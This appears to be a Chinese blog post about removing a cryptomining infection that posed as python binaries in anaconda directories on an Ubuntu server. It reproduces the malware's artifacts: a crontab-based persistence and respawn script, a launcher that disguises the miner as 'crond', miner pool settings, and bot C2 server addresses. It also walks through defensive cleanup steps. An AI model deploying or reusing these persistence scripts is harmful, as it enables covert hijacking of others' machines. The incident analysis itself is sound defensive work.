【服务器管理】Ubuntu的一次惊心动魄的查杀挖矿病毒的经历:病毒伪装成python
本文讲解了笔者在2022年1月份进行挖矿病毒杀毒的完整过程!
目录
1 前言
1.1 什么是挖矿病毒
攻击者通过各种手段将挖矿程序植入受害者的计算机中,在受害者不知情的情况下利用其计算机的云算力进行挖矿,从而获取利益,这类非法传播植入用户计算机的挖矿程序就是挖矿病毒。
1.2 感染挖矿病毒的原因
目前被感染挖矿病毒的主机主要是长期保持开机联网状态的科研服务器,感染原因包括以下几种:
1.主机的远程控制桌面、ssh、ftp、telnet等服务是弱口令;
2.主机安装了内网穿透软件;
3.主机安装了盗版软件;
4.高危漏洞未修复。
同时,个人主机感染挖矿病毒,主要有以下原因:
1.垃圾邮件:用户运行了钓鱼邮件中的附件。
2.软件捆绑:用户下载运行来历不明的破解软件
3.漏洞传播:用户没有及时修补漏洞,目前大部分挖矿木马都会通过漏洞传播。
网页挖矿:用户访问了植入挖矿脚本的网页,浏览器会解析脚本进行挖矿。
挖矿病毒被植入主机后,利用主机的运算力进行挖矿,主要体现在消耗大量的CPU或GPU资源,如CPU使用率高达90%,有大量对外进行网络连接(特别是境外)的日志记录。
2 自查与第一轮杀毒过程
参考《深度解析恶意挖矿攻击: 现状、检测及处置手册》、《挖矿处置手册:安全研究员的套路都在这儿了》、《Linux挖矿病毒的清除与分析》、《挖矿周|关于挖矿,你需要知道的一切》。
通常来说,可以使用top命令和nvidia-smi命令结合来查询异常的进程,以下为使用nvidia-smi命令结合ps命令查看找到的异常进程,并找到其具体目录
top
nvidia-smi
ps -aux | grep 异常进程号
具体来说,挖矿病毒通过伪装成python环境文件来实现隐蔽挖矿
在目录下发现以下文件:
查看config.ini文件,大致如下:
wallet = 0x8744E800633C8aBeCe080B032484E2BE9Ef7c00c
# wallet = 0x2f3a7C81cec4fF061A1C1FD69613cEc174ecdEcd
coin = ETC
# coin = ETH
rigName = R3-
pool1 = 147.135.10.88:11010
# pool2= 141.95.34.186:11010
# # # # # # # # # # # # # # #
# pool1 = 138.197.183.92:12020
# pool2 = 172.67.179.48:12020
devices = 0,1,2,3,4,5,6,7,8
# devices = 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8
noLog = true
checkForUpdates = true
autoUpdate = true
可以明显看到该文件为挖矿相关的设置文件。然而,使用工具virustotal检测config.ini、python、python3
这三个文件,却没有报异常。不过Antiy-AVL和AVG都报告python文件为RiskTool.Linux.BitCoinMiner.bd
,翻译过来,就是危险工具-Linux的比特币矿工病毒,如下图所示:
使用kill -9 进程号
清理挖矿进程以及rm -rf
命令清楚上述文件,并且使用locate
进一步定位所有疑似挖矿病毒的路径。
locate config.ini
对返回的路径逐一进行检查,判断是否存在挖矿木马文件。发现多个普通用户的以下路径存在挖矿文件config.ini、python、python3
/home/username1/anaconda3/bin/envs
/home/username2/anaconda27/bin/envs
...
对所有疑似挖矿病毒的路径进行rm -rf
移除操作,然而,很遗憾,第二天,起床后,又会出现新的类似的路径,类似的挖矿进程,如下:
这说明了仅查询并清空挖矿文件config.ini、python、python3
所在的目录是不行的,其存在守护进程。同时,查看时间发现,这些进程大概会在凌晨4点到5点这段时间悄悄运行起来,十分可恶。
3 攻击源分析与屏蔽
同时,我对服务器进行了攻击查询
分别运行以下命令:
- 查看本月的远程登录失败IP及统计其次数
lastb
lastb | awk '{ print $3}' | sort | uniq -c | sort -n
- 查看上一月的远程登录失败IP及统计其次数
lastb -f /var/log/btmp.1
lastb -f /var/log/btmp.1 | awk '{ print $3}' | sort | uniq -c | sort -n
大致看起来像这样,将疑似攻击的IP都加进黑名单
攻击次数 IP地址
22206 123.123.123.123
使用ufw
工具进行防火墙设置:
# 开启防火墙服务
sudo ufw enable
# 查看防火墙规则
sudo ufw status
# 按编号查看防火墙规则
sudo ufw status numbered
# 按编号删除防火墙规则
sudo ufw delete 规则编号
# 设置仅实验室IP段可以访问服务器
# xxx.bb.bb为局域网IP段,例如123.22.11
sudo ufw allow proto tcp from xxx.bb.bb.0/24 to [服务器IP] port 22
sudo ufw allow from xxx.bb.bb.0/24 to [服务器IP] port 22
4 使用ClamAV工具进行全盘查杀
ClamAV(Clam AntiVirus)是Linux平台上的开源病毒扫描程序,主要应用于邮件服务器,采用多线程后台操作,可以自动升级病毒库。其官方说明文档为:https://docs.clamav.net/。
4.1 安装ClamAV
在Ubuntu上使用以下命令进行安装:
sudo apt-get install clamav
# 可选:安装图形化界面
sudo apt-get install clamtk
# 查看版本信息
clamscan --version
4.2 使用ClamAV查杀病毒
使用命令行对全盘进行病毒查杀:
byobu # 先进入byobu再运行杀毒命令
clamscan -ri / -l /home/clamscan.log --remove
清除了部分病毒文件,但清除得不够彻底!
使用图形化界面,在xshell输入以下命令:
clamtk
5 第二轮病毒查杀
5.1 病毒运行机制分析
因为对全盘运行clamscan
命令花费太长时间了,万般无奈之下,我决定把config.ini、python、python3
三个文件所在的上一级菜单也视为病毒源,然后下载整个文件夹下来,使用360软件管家进行查杀,惊喜来了!!!!
360报警的位置:
在windows10下打开该路径,发现了如下文件:
这是典型的病毒文件呀!
5.2 病毒运行代码分析
打开报警的autorun
文件,如下所示:
#!/bin/sh
pwd > dir
dir=$(cat dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron
crontab cron
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/mech.pid; then
pid=\$(cat $dir/mech.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update
其中,工具virustotal检测结果如下图所示:
在命令行进入该目录运行以下命令,模拟病毒运行,
cd /home/username1/anaconda3/bin/sbin/.cpan/.cache
sh autorun
输出以下结果:
* * * * * /home/username1/anaconda3/bin/sbin/.cpan/.cache/update >/dev/null 2>&1
使用以下命令可以查看到定时进程:
crontab -l
查看所有用户的定时进程则使用以下命令:
cat /etc/passwd | cut -f 1 -d: | xargs -I {} crontab -l -u {} | grep -v "^#"
打开cfg
文件,如下图所示:
SERVER 185.51.10.175 443
SERVER 54.38.221.217 8080
SERVER de.byroe.uk 8080
SERVER horde.byroe.uk 443
ADMIN yebXz8-i6uXH0-eP2eDT09Pi2uaQ0ObI
ADMIN qMHCnNbn2uTVj-nPyNfh3Mboo-HUyA==
ADMIN srPFx47Bvr6alsSmssawtbDCo7Ors7qwtrW0
######## bot 1 ########
IDENT liu
REALNAME /home/lab-liu.fan/anaconda3/bin/envs
NICKNAMES R2X7-116-147
CHANNEL h7Te1dbnlbOtlas=
CMDCHAR @
打开cron
文件,如下所示,这里我用了username
替代了真实的账号名:
* * * * * /home/username/anaconda3/bin/sbin/.cpan/.cache/update >/dev/null 2>&1
打开dir
,如下所示,这里我用了username
替代了真实的账号名:
/home/username/anaconda3/bin/sbin/.cpan/.cache
打开run
如下所示:
#!/bin/bash
ARCH=`uname -m`
HIDE="crond"
if [ "$ARCH" == "i686" ]; then
./h32 -s $HIDE ./run32
elif [ "$ARCH" == "x86_64" ]; then
./h64 -s $HIDE ./run64
fi
打开update
如下所示:
#!/bin/sh
if test -r /home/username/anaconda3/bin/sbin/.cpan/.cache/mech.pid; then
pid=$(cat /home/username/anaconda3/bin/sbin/.cpan/.cache/mech.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /home/username/anaconda3/bin/sbin/.cpan/.cache
./run &>/dev/null
5.3 找出服务器所有可能存放autorun的目录
使用locate
命令进行筛选
locate autorun
以下为我找到的所有疑似病毒路径:
/home/username1/anaconda3/sbin/.cpan/.cache/autorun
/home/username2/anaconda3/bin/sbin/.cpan/.cache/autorun
/home/username3/anaconda27/sbin/.cpan/.cache/autorun
5.4 粉碎整个anaconda目录
使用wipe
或者shred
可以实现文件的粉碎。首先运行以下命令安装wipe
工具:
sudo apt-get install wipe
然后运行以下命令,进行木马目录的粉碎:
wipe -rcf /home/username1/anaconda3/
wipe -rcf /home/username2/anaconda3/
wipe -rcf /home/username3/anaconda3/
由于我的服务器是集群管理形式,除了需要对主节点进行病毒排查,对所有计算节点也需要逐一排查,参照下面的命令,对所有可疑的目录进行粉碎目录操作:
locate autorun
locate config.ini
locate 其他病毒命名特征的文件
6 总结
该挖矿病毒会在用户的anaconda环境下的sbin
(可能在anaconda
目录或者其子目录bin
下),目录移植自动运行文件,并且定时(每天凌晨5点左右)在./bin/envs
。遇到这种情况,首先登录中毒的用户账号,使用crontab -l
查看定时进程,并且把定时进程全部杀掉。同时使用kill -9 进程号
杀掉所有可疑进程,最后使用locate
和wipe
命令定位和粉碎所有感染木马病毒的目录。当然,也可以根据clamscan
扫描的结果,对扫描到的文件的顶级目录(anaconda
)进行粉碎。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)